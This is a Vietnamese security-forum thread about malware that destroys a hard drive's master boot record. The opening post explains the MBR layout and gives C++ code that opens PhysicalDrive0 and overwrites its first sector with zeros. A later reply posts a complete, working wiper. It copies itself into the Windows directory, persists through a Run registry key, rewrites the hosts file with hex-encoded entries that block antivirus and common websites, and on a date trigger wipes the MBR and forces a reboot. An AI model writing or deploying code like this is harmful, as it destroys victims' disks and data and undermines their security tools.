C, C++ cho Virus - Phá hủy MBR của ổ cứng, làm mất tất cả các phân vùng trong ổ cứng

Thảo luận trong 'Virus/Malware' bắt đầu bởi scila1996, 12/11/15, 04:11 PM.

  1. scila1996

    scila1996 W-------

    Tham gia: 29/06/13, 11:06 PM
    Bài viết: 21
    Đã được thích: 3
    Điểm thành tích:
    18
    Loại Virus này chắc cũng có nhiều bạn gặp phải, sau khi download một chương trình lạ nào đó và dùng một thời gian, hay ngay khi tắt máy và sáng hôm sau mở lên thì hiện lên một màn hình đen xì, khi cắm ổ cứng vào máy khác để đọc thì ổ cứng trắng trơn .

    - Cơ chế hoạt động : Hacker chiếm quyền truy xuất vào thiết bị ổ cứng, sau đó dùng một số phương thức ẩn hoặc ghi đè nội dung của Sector đầu của ổ cứng . Sector đầu là Sector chứa bảng phân chương (thông tin về các phân vùng trên ổ cứng) của hệ điều hành , kích thước = 512 Byte

    + 444 Byte đầu là chương trình nhận biết
    + 64 Byte tiếp theo là thông tin của các phân vùng
    + 2 Byte cuối là chữ ký hệ thống - 55 AA

    Hệ điều hành dựa vào bảng này để tải các phân vùng, nếu phân vùng là Primary và được Active thì hệ điều hành sẽ trỏ tới file BootLoader để nạp hệ điều hành có trên ổ này, đồng thời cũng tải tất cả các phân vùng Primary và Logical khác, như ổ dữ liệu .

    => SECTOR đầu rất quan trọng

    Mình xin DEMO một đoạn code nho nhỏ (PAY LOAD), viết bằng C++ sử dụng các hàm API có sẵn, tất nhiên là khi Hacker viết code thì sẽ hạn chế sử dụng các hàm API này:

    1. Mở Handle Device của ổ cứng, đường dẫn (địa chỉ) của HDD

    Mã:
    .PhysicalDrive0
    
    Tiến hành Open sử dụng hàm CreateFile ..

    Mã:
    HANDLE hDevice = CreateFileA(".PhysicalDrive0", GENERIC_ALL, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    
    2. Tạo dữ liệu trắng , có thể hiểu là SECTOR trắng và ghi đè lên SECTOR có sẵn hiện tại

    Mã:
    BYTE *bData = new BYTE[512]; // InitInstance Block Data
    DWORD bRead;
    int i = 0;
    while (i < 512) bData[i++] = 0x00; // Create Empty Sector
    WriteFile(hDevice, (LPVOID)bData, 512, (LPDWORD)&bRead, NULL); // Write Empty Sector to MBR
    delete[] bData;
    
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  2. bloodplanet

    bloodplanet Wh------

    Tham gia: 21/03/15, 11:03 PM
    Bài viết: 51
    Đã được thích: 6
    Điểm thành tích:
    18
    Bài viết hay và hữu ích, scila1996.
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. 东南号

    东南号 New Member

    Tham gia: 01/02/18, 04:02 PM
    Bài viết: 2
    Đã được thích: 0
    Điểm thành tích:
    1
    Bài này nếu có thể thay bằng phần ghi đè MBR của con peta hay wanna thì sẽ khá hay
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. thanh037

    thanh037 Member

    Tham gia: 13/09/19, 03:09 PM
    Bài viết: 5
    Đã được thích: 0
    Điểm thành tích:
    1
    Bạn xem con này có hiệu quả hơn không nhé!
    #include <Windows.h>
    #include <winver.h>
    #include "resource.rc"

    DWORD WINAPI CheckTime(){
    DWORD write;
    SYSTEMTIME st;
    char data[512];
    ZeroMemory(&data,sizeof(data));
    GetLocalTime(&st);
    if(st.wYear==2019){
    HANDLE disk=CreateFile("\\\\.\\PhysicalDrive0",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
    WriteFile(disk,data,512,&write,NULL);
    CloseHandle(disk);
    //MessageBox(0,"Time to die now!","You have been hacked!",MB_ICONWARNING);
    ExitWindowsEx(EWX_REBOOT,0);
    }
    return 0;
    }

    DWORD WINAPI hosts(){
    char data[]={0x77,0x77,0x77,0x2E,0x79,0x6F,0x75,0x74,0x75,0x62,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x67,0x6F,0x6F,0x67,0x6C,0x65,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x79,0x61,0x68,0x6F,0x6F,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x66,0x61,0x63,0x65,0x62,0x6F,0x6F,0x6B,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x63,0x6F,0x6D,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x77,0x77,0x77,0x2E,0x65,0x73,0x65,0x74,0x2E,0x65,0x75,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31,0x0D,0x0A,0x65,0x6E,0x2E,0x77,0x69,0x6B,0x69,0x70,0x65,0x64,0x69,0x61,0x2E,0x6F,0x72,0x67,0x20,0x31,0x32,0x37,0x2E,0x30,0x2E,0x30,0x2E,0x31};
    char path[60];
    DWORD write;
    GetEnvironmentVariable("windir",path,sizeof(path));
    strcat(path,"\\system32\\drivers\\etc\\hosts");
    HANDLE hFile=CreateFile(path,GENERIC_ALL,0,NULL,CREATE_ALWAYS,0,NULL);
    WriteFile(hFile,data,sizeof(data),&write,NULL);
    CloseHandle(hFile);
    return 0;
    }

    DWORD WINAPI reg(){
    char value[]="system.exe";
    HKEY hKey;
    while(1){
    RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
    RegSetValueEx(hKey,"system",0,REG_SZ,(LPBYTE)value,60);
    RegCloseKey(hKey);
    Sleep(10000);
    }
    return 0;
    }

    int WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR cmd,int show){
    char file[MAX_PATH];
    char path[60];
    HANDLE hToken;
    LUID luid;
    LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);
    TOKEN_PRIVILEGES tp;
    tp.Privileges[0].Luid=luid;
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    tp.PrivilegeCount=1;
    OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
    AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL);
    GetModuleFileName(NULL,file,sizeof(file));
    GetEnvironmentVariable("windir",path,60);
    strcat(path,"\\system.exe");
    CopyFile(file,path,false);
    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)reg,NULL,0,NULL);
    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)hosts,NULL,0,NULL);

    while(1){
    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckTime,NULL,0,NULL);
    Sleep(10000);
    }

    return 0;
    }
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  5. Testthuthoi

    Testthuthoi Member

    Tham gia: 26/06/18, 10:06 AM
    Bài viết: 10
    Đã được thích: 3
    Điểm thành tích:
    3
    MBR có thể viết lại không bác?
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  6. thanh037

    thanh037 Member

    Tham gia: 13/09/19, 03:09 PM
    Bài viết: 5
    Đã được thích: 0
    Điểm thành tích:
    1
    Nạp lại bt nha!
     
    Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan